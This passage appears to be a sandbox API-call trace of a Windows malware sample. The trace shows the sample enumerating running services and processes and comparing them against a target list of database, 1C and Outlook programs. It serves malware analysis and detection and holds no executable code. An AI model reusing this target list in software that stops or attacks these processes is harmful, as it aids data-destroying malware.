-1 [0172.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0172.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0172.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0172.007] lstrlenW (lpString="netprofm") returned 8 [0172.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0172.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0172.007] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0172.007] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0172.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0172.007] lstrlenW (lpString="NlaSvc") returned 6 [0172.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0172.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0172.007] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0172.008] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0172.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0172.008] lstrlenW (lpString="nsi") returned 3 [0172.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0172.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0172.008] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0172.008] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0172.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0172.008] lstrlenW (lpString="PcaSvc") returned 6 [0172.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0172.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0172.008] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0172.008] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0172.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0172.008] lstrlenW (lpString="PlugPlay") returned 8 [0172.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0172.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0172.008] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0172.008] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0172.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0172.008] lstrlenW (lpString="Power") returned 5 [0172.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0172.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0172.008] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0172.008] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0172.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0172.008] lstrlenW (lpString="ProfSvc") returned 7 [0172.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0172.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0172.009] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0172.009] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0172.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0172.009] lstrlenW (lpString="RpcEptMapper") returned 12 [0172.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0172.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0172.009] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0172.009] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0172.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0172.009] lstrlenW (lpString="RpcSs") returned 5 [0172.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0172.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0172.009] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0172.009] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0172.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0172.009] lstrlenW (lpString="SamSs") returned 5 [0172.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0172.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0172.009] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0172.009] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0172.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0172.009] lstrlenW (lpString="Schedule") returned 8 [0172.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0172.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0172.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0172.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0172.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0172.009] lstrlenW (lpString="SENS") returned 4 [0172.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0172.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0172.010] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0172.010] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0172.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0172.010] lstrlenW (lpString="ShellHWDetection") returned 16 [0172.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0172.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0172.010] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0172.010] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0172.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0172.010] lstrlenW (lpString="Spooler") returned 7 [0172.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0172.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0172.010] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0172.010] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0172.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0172.010] lstrlenW (lpString="SysMain") returned 7 [0172.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0172.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0172.010] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0172.010] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0172.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0172.010] lstrlenW (lpString="Themes") returned 6 [0172.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0172.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0172.010] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0172.010] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0172.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0172.011] lstrlenW (lpString="TrkWks") returned 6 [0172.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0172.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0172.011] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0172.011] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0172.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0172.011] lstrlenW (lpString="UxSms") returned 5 [0172.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0172.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0172.011] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0172.011] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0172.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0172.011] lstrlenW (lpString="WdiServiceHost") returned 14 [0172.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0172.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0172.011] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0172.011] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0172.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0172.011] lstrlenW (lpString="WdiSystemHost") returned 13 [0172.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0172.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0172.011] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0172.011] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0172.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0172.011] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0172.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0172.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0172.011] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0172.012] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0172.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0172.012] lstrlenW (lpString="Winmgmt") returned 7 [0172.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0172.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0172.012] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0172.012] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0172.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0172.012] lstrlenW (lpString="WPDBusEnum") returned 10 [0172.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0172.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0172.012] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0172.012] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0172.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0172.012] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724190 | out: hHeap=0x630000) returned 1 [0172.012] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a0 [0172.014] Process32FirstW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.014] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0172.014] lstrlenW (lpString="System") returned 6 [0172.014] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0172.015] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0172.015] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0172.015] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0172.015] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0172.015] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0172.015] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0172.015] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0172.015] lstrlenW (lpString="smss.exe") returned 8 [0172.015] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0172.015] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0172.015] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0172.015] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0172.015] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0172.015] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0172.015] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0172.015] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0172.016] lstrlenW (lpString="csrss.exe") returned 9 [0172.016] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0172.016] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0172.016] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0172.016] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0172.016] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0172.016] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0172.016] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0172.016] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0172.016] lstrlenW (lpString="wininit.exe") returned 11 [0172.016] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0172.016] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0172.016] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0172.016] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0172.016] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0172.016] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0172.016] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0172.016] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0172.017] lstrlenW (lpString="csrss.exe") returned 9 [0172.017] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0172.017] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0172.017] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0172.017] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0172.017] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0172.017] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0172.017] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0172.017] lstrlenW (lpString="winlogon.exe") returned 12 [0172.018] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0172.018] lstrlenW (lpString="services.exe") returned 12 [0172.018] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0172.018] lstrlenW (lpString="lsass.exe") returned 9 [0172.018] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0172.018] lstrlenW (lpString="lsm.exe") returned 7 [0172.019] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.019] lstrlenW (lpString="svchost.exe") returned 11 [0172.019] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.019] lstrlenW (lpString="svchost.exe") returned 11 [0172.019] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.020] lstrlenW (lpString="svchost.exe") returned 11 [0172.020] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.020] lstrlenW (lpString="svchost.exe") returned 11 [0172.020] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.020] lstrlenW (lpString="svchost.exe") returned 11 [0172.020] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0172.021] lstrlenW (lpString="audiodg.exe") returned 11 [0172.021] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.021] lstrlenW (lpString="svchost.exe") returned 11 [0172.021] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0172.021] lstrlenW (lpString="explorer.exe") returned 12 [0172.021] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0172.022] lstrlenW (lpString="dwm.exe") returned 7 [0172.022] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.022] lstrlenW (lpString="svchost.exe") returned 11 [0172.022] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0172.023] lstrlenW (lpString="n.exe") returned 5 [0172.023] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0172.023] lstrlenW (lpString="spoolsv.exe") returned 11 [0172.023] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.024] lstrlenW (lpString="svchost.exe") returned 11 [0172.024] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0172.024] lstrlenW (lpString="taskhost.exe") returned 12 [0172.024] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0172.024] lstrlenW (lpString="reader_sl.exe") returned 13 [0172.024] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0172.025] lstrlenW (lpString="n.exe") returned 5 [0172.025] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0172.025] lstrlenW (lpString="n.exe") returned 5 [0172.025] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0172.025] CloseHandle (hObject=0x1a0) returned 1 [0172.026] Sleep (dwMilliseconds=0x1f4) [0172.721] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69e710 [0172.722] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0172.723] GetLastError () returned 0xea [0172.723] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x724190 [0172.723] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x724190, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x724190, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0172.724] CloseServiceHandle (hSCObject=0x69e710) returned 1 [0172.724] lstrlenW (lpString="Appinfo") returned 7 [0172.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0172.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0172.724] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0172.724] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0172.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0172.724] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0172.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0172.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0172.724] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0172.724] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0172.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0172.724] lstrlenW 